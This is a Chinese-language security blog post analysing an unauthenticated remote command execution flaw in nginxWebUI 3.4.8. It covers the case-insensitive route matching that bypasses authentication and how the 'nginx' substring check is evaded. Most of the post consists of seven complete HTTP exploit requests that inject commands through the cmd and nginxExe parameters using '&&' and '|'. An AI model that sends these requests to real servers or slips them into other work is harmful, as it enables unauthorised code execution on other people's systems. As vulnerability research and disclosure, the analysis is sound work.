nginxWebUI runCmd 未授权远程代码执行

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2023年7月7日21:57:26评论42 views字数 6646阅读22分9秒阅读模式

nginxWebUI runCmd 未授权远程代码执行

漏洞简介

之前对 nginxWebUI 进行过搭建和审计，但是当时仅仅关注到了后台的一些命令执行漏洞，最近爆出了未授权远程代码执行，再一次进行搭建环境和分析。

环境搭建

https://github.com/cym1102/nginxWebUI/releases/download/3.4.8/nginxWebUI-3.4.8.jarjava -jar -Dfile.encoding=UTF-8 D:/home/nginxWebUI/nginxWebUI-3.4.8.jar --server.port=8080 --project.home=D:/home/nginxWebUI/

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漏洞复现

我们利用网上公开的payload 进行测试

http://127.0.0.1:8080/AdminPage/conf/runCmd?cmd=calc%26%26nginx

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漏洞分析

Solon 路由器对 url 的匹配默认是 “忽略大小写” 的

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调试分析

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005  -jar -Dfile.encoding=UTF-8 D:/home/nginxWebUI/nginxWebUI-3.4.8.jar --server.port=8080 --project.home=D:/home/nginxWebUI/

com.cym.config.AppFilter#doFilter

传入的路由与设置的匹配条件均不满足，继续进行匹配

org.noear.solon.core.route.RoutingTableDefault#matchOne

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在 solon 中将传入的路径与系统中路径依次进行匹配比较，因为大小写的不敏感，所以会匹配成功

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com.cym.controller.adminPage.ConfController#runCmd

当到达函数 runCmd 时 cmd 参数可控，进行了一部分校验和过滤只有cmd 中存在字符串 nginx 才可以继续执行，利用 && 来实现命令的拼接

cn.hutool.core.util.RuntimeUtil#exec(String...)

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漏洞修复

我们看到对漏洞针对性的修复操作是，将路由全部转换为小写再进行匹配校验

感觉没有官方提供的修复方式更简便些

结合目前未授权的情况，以及之前分析到的后台 RCE ，在这里做一个汇总，并进行一个比较简单的分析

「命令执行一」

GET /AdminPage/conf/runCmd?cmd=calc%26%26nginx HTTP/1.1Host: 127.0.0.1:8080Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Origin: http://127.0.0.1:8080Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8080/adminPage/remoteAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

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com.cym.controller.adminPage.ConfController#runCmd

当到达函数 runCmd 时 cmd 参数可控，进行了一部分校验和过滤只有cmd 中存在字符串 nginx 才可以继续执行，利用 && 来实现命令的拼接

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「命令执行二」

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POST /AdminPage/remote/cmdOver HTTP/1.1Host: 127.0.0.1:8080Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Origin: http://127.0.0.1:8080Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8080/adminPage/remoteAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 51
remoteId=local&cmd=start calc%26%26nginx&interval=1

com.cym.controller.adminPage.RemoteController#cmdOver

当满足传入的参数所对应的值时，最终会调用 com.cym.controller.adminPage.ConfController#runCmd

com.cym.controller.adminPage.ConfController#runCmd

当到达函数 runCmd 时 cmd 参数可控，进行了一部分校验和过滤只有cmd 中存在字符串 nginx 才可以继续执行，利用 && 来实现命令的拼接

「命令执行三」

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POST /Api/nginx/runNginxCmd HTTP/1.1Host: 127.0.0.1:8080Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Origin: http://127.0.0.1:8080Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8080/adminPage/remoteAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 19
cmd=calc%26%26nginx

com.cym.controller.api.NginxApiController#runNginxCmd

com.cym.controller.adminPage.ConfController#runCmd

当到达函数 runCmd 时 cmd 参数可控，进行了一部分校验和过滤只有cmd 中存在字符串 nginx 才可以继续执行，利用 && 来实现命令的拼接

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「命令执行四」

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GET /AdminPage/conf/reload?nginxExe=calc%20%7C HTTP/1.1Host: 127.0.0.1:8080Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Origin: http://127.0.0.1:8080Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8080/adminPage/remoteAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

com.cym.controller.adminPage.ConfController#reload

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「命令执行五」

POST /AdminPage/conf/check HTTP/1.1Host: 127.0.0.1:8080Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Origin: http://127.0.0.1:8080Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8080/adminPage/remoteAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 91
nginxExe=calc%20%7C&json={"nginxContent":"","subContent":"[]","subName":"[]"}&nginxPath=/1/

com.cym.controller.adminPage.ConfController#check

要满足很多条件才可以触发

「命令执行六」

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POST /AdminPage/conf/saveCmd HTTP/1.1Host: 127.0.0.1:8080Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Origin: http://127.0.0.1:8080Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8080/adminPage/remoteAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 42
nginxExe=calc%20%7C&nginxPath=/&nginxDir=/

com.cym.controller.adminPage.ConfController#saveCmd

将参数设置为配置信息

GET /AdminPage/conf/checkBase HTTP/1.1Host: 127.0.0.1:8080Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Origin: http://127.0.0.1:8080Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8080/adminPage/remoteAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

从配置信息中读取并加载，执行命令

com.cym.controller.adminPage.ConfController#checkBase

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「命令执行七」

POST /AdminPage/conf/saveCmd HTTP/1.1Host: 127.0.0.1:8080Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Origin: http://127.0.0.1:8080Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8080/adminPage/remoteAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 42
nginxExe=calc%20%7C&nginxPath=/&nginxDir=/

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GET /Api/nginx/check HTTP/1.1Host: 127.0.0.1:8080Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Origin: http://127.0.0.1:8080Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:8080/adminPage/remoteAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

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